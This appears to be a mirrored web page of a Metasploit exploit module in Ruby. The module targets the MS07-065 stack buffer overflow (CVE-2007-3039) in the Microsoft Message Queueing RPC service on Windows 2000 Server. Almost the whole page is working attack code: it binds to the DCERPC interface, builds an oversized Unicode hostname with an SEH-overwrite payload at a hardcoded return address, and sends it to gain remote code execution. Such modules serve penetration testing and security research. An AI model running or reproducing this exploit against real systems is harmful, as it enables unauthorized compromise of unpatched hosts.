Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/dcerpc/ms07_065_msmq.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::DCERPC9include Msf::Exploit::Remote::Seh1011def initialize(info = {})12super(update_info(info,13'Name' => 'MS07-065 Microsoft Message Queueing Service DNS Name Path Overflow',14'Description' => %q{15This module exploits a stack buffer overflow in the RPC interface16to the Microsoft Message Queueing service. This exploit requires17the target system to have been configured with a DNS name and18for that name to be supplied in the 'DNAME' option. This name does19not need to be served by a valid DNS server, only configured on20the target machine.2122},23'Author' => [ 'hdm' ],24'License' => MSF_LICENSE,25'References' =>26[27[ 'CVE', '2007-3039'],28[ 'OSVDB', '39123'],29[ 'MSB', 'MS07-065'],30],31'Privileged' => true,32'Payload' =>33{34'Space' => 1024,35'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e\xff",36'StackAdjustment' => -3500,3738},39'Platform' => %w{ win },40'Targets' =>41[42[43'Windows 2000 Server English',44{45'Platform' => 'win',46'Ret' => 0x75022ac4 # ws2help - pop/pop/ret47},48],49],50'DisclosureDate' => '2007-12-11',51'DefaultTarget' => 0))5253# Change the default port values to point at MSMQ54register_options(55[56Opt::RPORT(2103),57OptString.new('DNAME', [ true, "The DNS hostname of the target" ]),58])59end6061def autofilter62# Common vulnerability scanning tools report port 445/13963# due to how they test for the vulnerability. Remap this64# back to 2103 for automated exploitation6566rport = datastore['RPORT'].to_i67if ( rport == 445 or rport == 139 )68datastore['RPORT'] = 210369end7071# The fqdn is required to exploit this bug72if (not datastore['DNAME'])73# XXX automatically determine the hostname74return false75end7677true78end7980def exploit8182connect83print_status("Trying target #{target.name}...")8485handle = dcerpc_handle('fdb3a030-065f-11d1-bb9b-00a024ea5525', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])86print_status("Binding to #{handle} ...")87dcerpc_bind(handle)88print_status("Bound to #{handle} ...")8990dname = datastore['DNAME']9192boom = rand_text_alphanumeric(4096)9394hname,domain = dname.split(".")9596if(not domain)97print_status("The DNAME parameter specified is not valid.")98print_status("This option must be the fully-qualified domain name of the target (as it has been configured).")99return100end101102off = 310 - (hname.length * 2)103104seh = generate_seh_payload(target.ret)105boom[off, seh.length] = seh106107buff = Rex::Text.to_unicode("#{dname}\\")108buff << boom109buff << "\x00\x00"110111# Data alignment112while(buff.length % 4 != 0)113buff << "\x00"114end115116stubdata =117NDR.long(1) + # [in] long arg_1,118NDR.UnicodeConformantVaryingStringPreBuilt(buff) + # [in][string] wchar_t * arg_2,119NDR.long(0) * 5 # ... fields we can ignore120121print_status('Sending exploit...')122123begin124response = dcerpc.call(6, stubdata)125126if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)127case dcerpc.last_response.stub_data128when "\x14\x00\x0e\xc0"129print_error("Error: The wrong value has been supplied for the DNAME parameter")130print_error("This value must be the fully-qualified domain name of the target")131print_error("Many systems have no FQDN configured and cannot be exploited")132else133print_status("An unknown response was received from the server:")134print_status(">> " + dcerpc.last_response.stub_data.unpack("H*")[0])135end136end137rescue Rex::Proto::DCERPC::Exceptions::NoResponse138print_status("No response from the DCERPC service (this is usually a good thing).")139end140141handler142disconnect143end144end145146147